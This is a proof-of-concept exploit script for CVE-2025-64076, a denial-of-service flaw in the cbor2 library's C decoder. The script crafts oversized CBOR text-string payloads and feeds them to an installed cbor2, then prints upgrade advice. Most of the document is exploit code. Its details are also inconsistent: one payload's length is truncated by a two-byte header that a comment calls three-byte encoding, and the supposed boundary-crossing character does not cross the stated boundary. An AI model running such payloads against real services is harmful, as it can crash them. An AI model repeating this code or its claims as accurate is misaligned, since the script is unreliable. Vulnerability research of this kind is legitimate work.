CVE-2025-64076 cbor2 C扩展解码器整数下溢与内存泄漏漏洞

#!/usr/bin/env python3 """ PoC for CVE-2025-64076: cbor2 C Extension Decoder Integer Underflow and Memory Leak This PoC demonstrates the vulnerability in cbor2's decode_definite_long_string() function where improper handling of UTF-8 characters at 65536-byte chunk boundaries causes integer underflow and memory leaks. Affected: cbor2 <= 5.7.0 Fixed: cbor2 >= 5.7.1 """ import struct import sys def create_malicious_cbor_payload(): """ Create a malicious CBOR payload that triggers integer underflow in decode_definite_long_string() when multi-byte UTF-8 characters are positioned at 65536-byte chunk boundaries. """ payload = bytearray() # CBOR header for definite-length text string (Major type 3) # We need a string length that causes UTF-8 chars to span 65536 boundary # Target: 65535 bytes + 1 continuation byte at boundary # 65535 = 0xFFFF, encoded as 0x1A 0x00 0xFF 0xFF (32-bit uint) header = bytes([0x79, 0xFF, 0xFF]) # text string, length 65535 # First 65532 bytes of ASCII data payload.extend(b'A' * 65532) # Add 3-byte UTF-8 character (e.g., € which is 0xE2 0x82 0xAC) # This will cause buffer_length to not be properly reset at boundary payload.extend(b'\xe2\x82\xac') # 3-byte UTF-8 character # Prepend CBOR header full_payload = header + bytes(payload) return bytes(full_payload) def create_large_cbor_for_memory_leak(): """ Create a large CBOR payload to demonstrate memory leak. For strings > 65536 bytes, each chunk leaks Python object references. """ # Create CBOR with large definite-length string (> 65536 bytes) payload = bytearray() # Header: text string with length > 65536 # 70000 = 0x00011170, use 3-byte encoding length = 70000 header = bytes([0x79, (length >> 8) & 0xFF, length & 0xFF]) # Fill with data containing UTF-8 characters at chunk boundaries payload.extend(b'B' * 65534) payload.extend(b'\xe2\x82\xac') # UTF-8 char at boundary payload.extend(b'C' * (length - 65536)) return header + bytes(payload) def test_vulnerability(): """Test if the cbor2 library is vulnerable""" try: import cbor2 print(f"[+] cbor2 version: {cbor2.__version__}") except ImportError: print("[-] cbor2 not installed. Install with: pip install cbor2") print(" Note: Install version <= 5.7.0 to test vulnerability") return False # Check if using C extension (vulnerable path) try: from cbor2 import CBORDecoder from io import BytesIO # Test 1: Integer underflow PoC print("\n[*] Test 1: Testing integer underflow vulnerability...") try: malicious_payload = create_malicious_cbor_payload() decoder = CBORDecoder(BytesIO(malicious_payload)) result = decoder.decode() print(f"[!] Unexpected: Decoding succeeded, result length: {len(result)}") except Exception as e: print(f"[!] Exception caught: {type(e).__name__}: {e}") if "memory" in str(e).lower() or "decode" in str(e).lower(): print("[+] Vulnerability triggered - integer underflow detected") # Test 2: Memory leak demonstration print("\n[*] Test 2: Testing memory leak vulnerability...") print(" Note: Monitor memory usage during decoding") try: large_payload = create_large_cbor_for_memory_leak() decoder = CBORDecoder(BytesIO(large_payload)) result = decoder.decode() print(f"[!] Decoded successfully, length: {len(result)}") except Exception as e: print(f"[!] Exception: {type(e).__name__}: {e}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 70) print("CVE-2025-64076 PoC - cbor2 Integer Underflow and Memory Leak") print("=" * 70) print("\nVulnerability Description:") print(" - Integer underflow in decode_definite_long_string()") print(" - Memory leak due to missing Py_DECREF calls") print(" - Both can cause denial of service\n") test_vulnerability() print("\n" + "=" * 70) print("Remediation: Upgrade to cbor2 >= 5.7.1") print("Commit: 851473490281f82d82560b2368284ef33cf6e8f9") print("=" * 70)